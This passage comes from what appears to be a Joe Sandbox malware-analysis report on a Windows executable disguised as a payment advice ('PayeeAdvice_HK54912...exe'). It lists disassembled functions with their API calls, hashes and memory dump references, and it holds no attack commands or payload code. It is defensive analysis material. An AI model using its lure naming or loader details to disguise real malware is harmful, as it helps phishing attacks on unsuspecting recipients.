Part of subcall function 0040425A: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040426C

Strings

, xrefs: 00405283

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction ID: beea61cd65c8703650dc93cdae6e0720761c29505c5582e3341eda9a3c117467
Opcode Fuzzy Hash: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction Fuzzy Hash: BD01BC71200608AFEB208F11DD80AAB3B25EF85355F20807FFA01761D0C73A8C919F2E

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 0040205D

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,74DF23A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 0040206E
FreeLibrary.KERNEL32(?,?,000000F7,?,?,?,?,?,00000001,?), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 5475f02f106110a916f15ee9ab206587335882ec0c1efca6123a78a63609b3d2
Instruction ID: 589db8f59639f89aa10495d7cc04380c60c8a7cdceb46225d1e949d191b74c22
Opcode Fuzzy Hash: 5475f02f106110a916f15ee9ab206587335882ec0c1efca6123a78a63609b3d2
Instruction Fuzzy Hash: 51218071D00205AACF20AFA5CE4999E7A70BF04358F74813BF511B51E0DBBD8991DB6A

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00020019), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction ID: aff41db5cb1f43c080787ec2daae132adce55f0eb50407644cc943dfdce05a74
Opcode Fuzzy Hash: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction Fuzzy Hash: 59018471904204BFEB149F95DE88ABF7ABCEF80348F14803EF505B61D0DAB85E419B69

Function 73402A74 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 73402B33
GetLastError.KERNEL32 ref: 73402C3A

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 19b6756cd66deffec5eec1e433a46c2640221766146d8f066ce554a51d2b5eac
Instruction ID: 185f750f3751cc128d47cb3a960389fc3411996c75627899229816d4823ddcc1
Opcode Fuzzy Hash: 19b6756cd66deffec5eec1e433a46c2640221766146d8f066ce554a51d2b5eac
Instruction Fuzzy Hash: AA515D727042189FEB2DEF65DA80B5A37B9EB44318F2044FAE409B63D0DA3894819F59

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction ID: 1ba22ac92ecf447665b3913d31df39b0814a7bcf15a964c104b9173a467dca89
Opcode Fuzzy Hash: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction Fuzzy Hash: 2A119431910205EBDB14DFA4CA585AE77B4FF44348F20843FE445B72C0D6B85A41EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction ID: 2a828f8333626ea4f8ae47897e76cf54d119540c9549312051f7543085d76b41
Opcode Fuzzy Hash: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction Fuzzy Hash: 9101D132624210ABE7095B789D04B6A3698E751315F10C63BB851F66F1DA7C8C429B4D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction ID: ed958cdb0af940290ad8e224458c39a91d35accb7d2f19645d781aa9a2f92111
Opcode Fuzzy Hash: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction Fuzzy Hash: ECE01A72E082008FE764ABA5AA495AD77B4EB91325B20847FE211F11D1DE7858418F6A

Function 00406671 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,004033DE,0000000A), ref: 00406683
GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

Part of subcall function 00406601: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
Part of subcall function 00406601: wsprintfW.USER32 ref: 00406653
Part of subcall function 00406601: LoadLibraryExW.KERNEL32(?,00000000,?), ref: 00406667

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction ID: f8cbec149f8048a337a195de8e089d72e19c2715f3a6386891d9cbb614a09016
Opcode Fuzzy Hash: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction Fuzzy Hash: D3E08C326042116AD7119A709E4497B66AC9A89740307883EFD46F2181EB3A9C31AAAD

Function 00405D8D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003,?,00000006,?,0000000A), ref: 00405D91
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,?,0000000A), ref: 00405DB3

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405D68 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,0040596D,?,?,00000000,00405B43,?,?,?,?), ref: 00405D6D
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D81

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 56b75d8f9ca2641e27e40e0bc5846bc1deeaaca66535f557d4a9eea11918b9db
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 39D01272504421AFC2512738EF0C89BBF95DF543717128B35FEE9A22F0CB314C568A98

Function 0040584B Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040335F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,?,0000000A), ref: 00405851
GetLastError.KERNEL32(?,00000006,?,0000000A), ref: 0040585F

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 569726fefb5a692a208b00f3c4627a0038051db83374957b12f20e82e1ac62f2
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 97C08C71211501DAC7002F318F08B073A50AB20340F15883DA64AE00E0CA308024D92D

Function 00406132 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 0040615B

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 5f0451bdd463ed866e2305ac1dfee878cc5b4d333075ebda4e05e47d22d2a603
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 6BE0E672110109BEDF099F50DD0AD7B371DE704304F01452EFA06D5051E6B5AD305674

Function 00405E10 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs
